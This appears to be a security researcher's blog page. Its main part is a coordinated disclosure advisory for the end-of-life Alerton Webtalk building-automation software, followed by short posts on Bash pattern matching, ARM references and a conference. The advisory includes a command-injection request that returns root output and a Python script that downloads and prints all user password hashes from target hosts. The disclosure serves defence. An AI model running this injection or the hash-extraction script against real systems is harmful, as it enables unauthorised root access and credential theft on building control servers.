Security Issues in Alerton Webtalk (Auth Bypass, RCE)

Introduction

Vulnerabilities were identified in the Alerton Webtalk Software supplied by Alerton. This software is used for the management of building automation systems. These were discovered during a black box assessment and therefore the vulnerability list should not be considered exhaustive. Alerton has responded that Webtalk is EOL and past the end of its support period. Customers should move to newer products available from Alerton. Thanks to Alerton for prompt replies in communicating with us about these issues.

Versions 2.5 and 3.3 were both confirmed to be affected by these issues.

(This blog post is a duplicate of the advisory I sent to the full-disclosure mailing list.)

Webtalk-01 - Password Hashes Accessible to Unauthenticated Users

Severity: High

Password hashes for all of the users configured in Alerton Webtalk are accessible via a file in the document root of the ‘webtalk’ user. The location of this file is configuration dependent, however the configuration file is accessible as well (at a static location, /~webtalk/webtalk.ini). The password database is a sqlite3 database whose name is based on the bacnet rep and job entries from the ini file.

A python proof of concept to reproduce this issue is in an appendix.

Recommendation: Do not store sensitive data within areas being served by the webserver.

Webtalk-02 - Command Injection for Authenticated Webtalk Users

Severity: High

Any user granted the “configure webtalk” permission can execute commands as the root user on the underlying server. There appears to be some effort of filtering command strings (such as rejecting commands containing pipes and redirection operators) but this is inadequate. Using this vulnerability, an attacker can add an SSH key to the root user’s authorized_keys file.

1
2
3
4
5
6
7
8
9
10
11
12
GET
/~webtalk/WtStatus.psp?c=update&updateopts=&updateuri=%22%24%28id%29%22&update=True
HTTP/1.1
Host: test-host
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101
Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: NID=...; _SID_=...; OGPC=...:
Connection: close
Upgrade-Insecure-Requests: 1
1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Date: Mon, 23 Jan 2017 20:34:26 GMT
Server: Apache
cache-control: no-cache
Set-Cookie: _SID_=...; Path=/;
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 2801

...
uid=0(root) gid=500(webtalk) groups=500(webtalk)
...

Recommendation: User input should be avoided to shell commands. If this is not possible, shell commands should be properly escaped. Consider using one of the functions from the subprocess module without the shell=True parameter.

Webtalk-03 - Cross-Site Request Forgery

Severity: High

The entire Webtalk administrative interface lacks any controls against Cross-Site Request Forgery. This allows an attacker to execute administrative changes without access to valid credentials. Combined with the above vulnerability, this allows an attacker to gain root access without any credentials.

Recommendation: Implement CSRF tokens on all state-changing actions.

Webtalk-04 - Insecure Credential Hashing

Severity: Moderate

Password hashes in the userprofile.db database are hashed by concatenating the password with the username (e.g., PASSUSER) and performing a plain MD5 hash. No salts or iterative hashing is performed. This does not follow password hashing best practices and makes for highly practical offline attacks.

Recommendation: Use scrypt, bcrypt, or argon2 for storing password hashes.

Webtalk-05 - Login Flow Defeats Password Hashing

Severity: Moderate

Password hashing is performed on the client side, allowing for the replay of password hashes from Webtalk-01. While this only works on the mobile login interface (“PDA” interface, /~webtalk/pda/pda_login.psp), the resulting session is able to access all resources and is functionally equivalent to a login through the Java-based login flow.

Recommendation: Perform hashing on the server side and use TLS to protect secrets in transit.

Timeline

  • 2017/01/?? - Issues Discovered
  • 2017/01/26 - Issues Reported to security () honeywell com
  • 2017/01/30 - Initial response from Alerton confirming receipt.
  • 2017/02/04 - Alerton reports Webtalk is EOL and issues will not be fixed.
  • 2017/04/26 - This disclosure

Discovery

These issues were discovered by David Tomaschik of the Google ISA Assessments team.

Appendix A: Script to Extract Hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import requests
import sys
import ConfigParser
import StringIO
import sqlite3
import tempfile
import os


def get_webtalk_ini(base_url):
    """Get the webtalk.ini file and parse it."""
    url = '%s/~webtalk/webtalk.ini' % base_url
    r = requests.get(url)
    if r.status_code != 200:
        raise RuntimeError('Unable to get webtalk.ini: %s', url)
    buf = StringIO.StringIO(r.text)
    parser = ConfigParser.RawConfigParser()
    parser.readfp(buf)
    return parser


def get_db_path(base_url, config):
    rep = config.get('bacnet', 'rep')
    job = config.get('bacnet', 'job')
    url = '%s/~webtalk/bts/%s/%s/userprofile.db'
    return url % (base_url, rep, job)


def load_db(url):
    """Load and read the db."""
    r = requests.get(url)
    if r.status_code != 200:
        raise RuntimeError('Unable to get %s.' % url)
    tmpfd, tmpname = tempfile.mkstemp(suffix='.db')
    tmpf = os.fdopen(tmpfd, 'w')
    tmpf.write(r.content)
    tmpf.close()
    con = sqlite3.connect(tmpname)
    cur = con.cursor()
    cur.execute("SELECT UserID, UserPassword FROM tblPassword")
    results = cur.fetchall()
    con.close()
    os.unlink(tmpname)
    return results


def users_for_server(base_url):
    if '://' not in base_url:
        base_url = 'http://%s' % base_url
    ini = get_webtalk_ini(base_url)
    db_path = get_db_path(base_url, ini)
    return load_db(db_path)


if __name__ == '__main__':
    for host in sys.argv[1:]:
        try:
            users = users_for_server(host)
        except Exception as ex:
            sys.stderr.write('%s\n' % str(ex))
            continue
        for u in users:
            print '%s:%s' % (u[0], u[1])

Bash Extended Test & Pattern Matching

While my daily driver shell is ZSH, when I script, I tend to target Bash. I’ve found it’s the best mix of availability & feature set. (Ideally, scripts would be in pure posix shell, but then I’m missing a lot of features that would make my life easier. On the other hand, ZSH is not available everywhere, and certainly many systems do not have it installed by default.)

I’ve started trying to use the Bash “extended test command” ([[) when I write tests in bash, because it has fewer ways you can misuse it with bad quoting (the shell parses the whole test command rather than parsing it as arguments to a command) and I find the operations available easier to read. One of those operations is pattern matching of strings, which allows for stupidly simple substring tests and other conveniences. Take, for example:

1
2
3
4
$animals="bird cat dog"
if [[ $animals == *dog* ]] ; then
  echo "We have a dog!"
fi

This is an easy way to see if an item is contained in a string.

Anyone who’s done programming or scripting is probably aware that the equality operator (i.e., test for equality) is a commutative operator. That is to say the following are equivalent:

1
2
3
4
5
6
7
8
$a="foo"
$b="foo"
if [[ $a == $b ]] ; then
  echo "a and b are equal."
fi
if [[ $b == $a ]] ; then
  echo "a and b are still equal."
fi

Seems obvious right? If a equals b, then b must equal a. So surely we can reverse our test in the first example and get the same results.

1
2
3
4
5
6
$animals="bird cat dog"
if [[ *dog* == $animals ]] ; then
  echo "We have a dog!"
else
  echo "No dog found."
fi

Go ahead, give it a try, I’ll wait here.

OK, you probably didn’t even need to try it, or this would have been a particularly boring blog post. (Which isn’t to say that this one is a page turner to begin with.) Yes, it turns out that sample prints No dog found., but obviously we have a dog in our animals. If equality is commutative and the pattern matching worked in the first place, then why doesn’t this test work?

Well, it turns out that the equality test operator in bash isn’t really commutative – or more to the point, that the pattern expansion isn’t commutative. Reading the Bash Reference Manual, we discover that there’s a catch to pattern expansion:

When the ‘==’ and ‘!=’ operators are used, the string to the right of the operator is considered a pattern and matched according to the rules described below in Pattern Matching, as if the extglob shell option were enabled. The ‘=’ operator is identical to ‘==’. If the nocasematch shell option (see the description of shopt in The Shopt Builtin) is enabled, the match is performed without regard to the case of alphabetic characters. The return value is 0 if the string matches (‘==’) or does not match (‘!=’)the pattern, and 1 otherwise. Any part of the pattern may be quoted to force the quoted portion to be matched as a string.

(Emphasis mine.)

It makes sense when you think about it (I can’t begin to think how you would compare two patterns) and it is at least documented, but it wasn’t obvious to me. Until it bit me in a script – then it became painfully obvious.

Like many of these posts, writing this is intended primarily as a future reference to myself, but also in hopes it will be useful to someone else. It took me half an hour of Googling to get the right keywords to discover this documentation (I didn’t know the double bracket syntax was called the “extended test command”, which helps a lot), so hopefully it took you less time to find this post.

Useful ARM References

I started playing the excellent IOARM wargame on netgarage. No, don’t be expecting spoilers, hints, or walk-throughs, I’m not that kind of guy. This is merely a list of interesting reading I’ve discovered to help me understand the ARM architecture and ARM assembly.

GOT and PLT for pwning.

So, during the recent 0CTF, one of my teammates was asking me about RELRO and the GOT and the PLT and all of the ELF sections involved. I realized that though I knew the general concepts, I didn’t know as much as I should, so I did some research to find out some more. This is documenting the research (and hoping it’s useful for others).

BSidesSF 2017

BSidesSF 2017 was, by far, the best yet. I’ve been to the last 5 or so, and had a blast at almost every one. This year, I was super busy – gave a talk, ran a workshop, and I was one of the organizers for the BSidesSF CTF. I’ve posted the summary and slides for my talk and I’ll update the video link once it gets posted.

I think it’s important to thank the BSidesSF organizers – they did a phenomenal job with an even bigger venue and I think everyone loved it. It was clearly a success, and I can only imagine how much work it takes to plan something like this.

It’s also important to note that our perennial venue, DNA Lounge, (except that one year we don’t talk about) is having some money problems. Apparently you can’t spend more than you bring in each year. This is the venue that, in addition to hosting BSidesSF, also hosts Cyberdelia. This is a venue that allows all kinds of independent art and events to thrive in one of the most expensive cities in the country. I encourage you to reach out and go to a show, buy some pizza, or just donate to their Patreon. If my encouragement is not enough, how about some from Razor and Blade?

Again, big thanks to BSidesSF and DNA Lounge for such a successful event!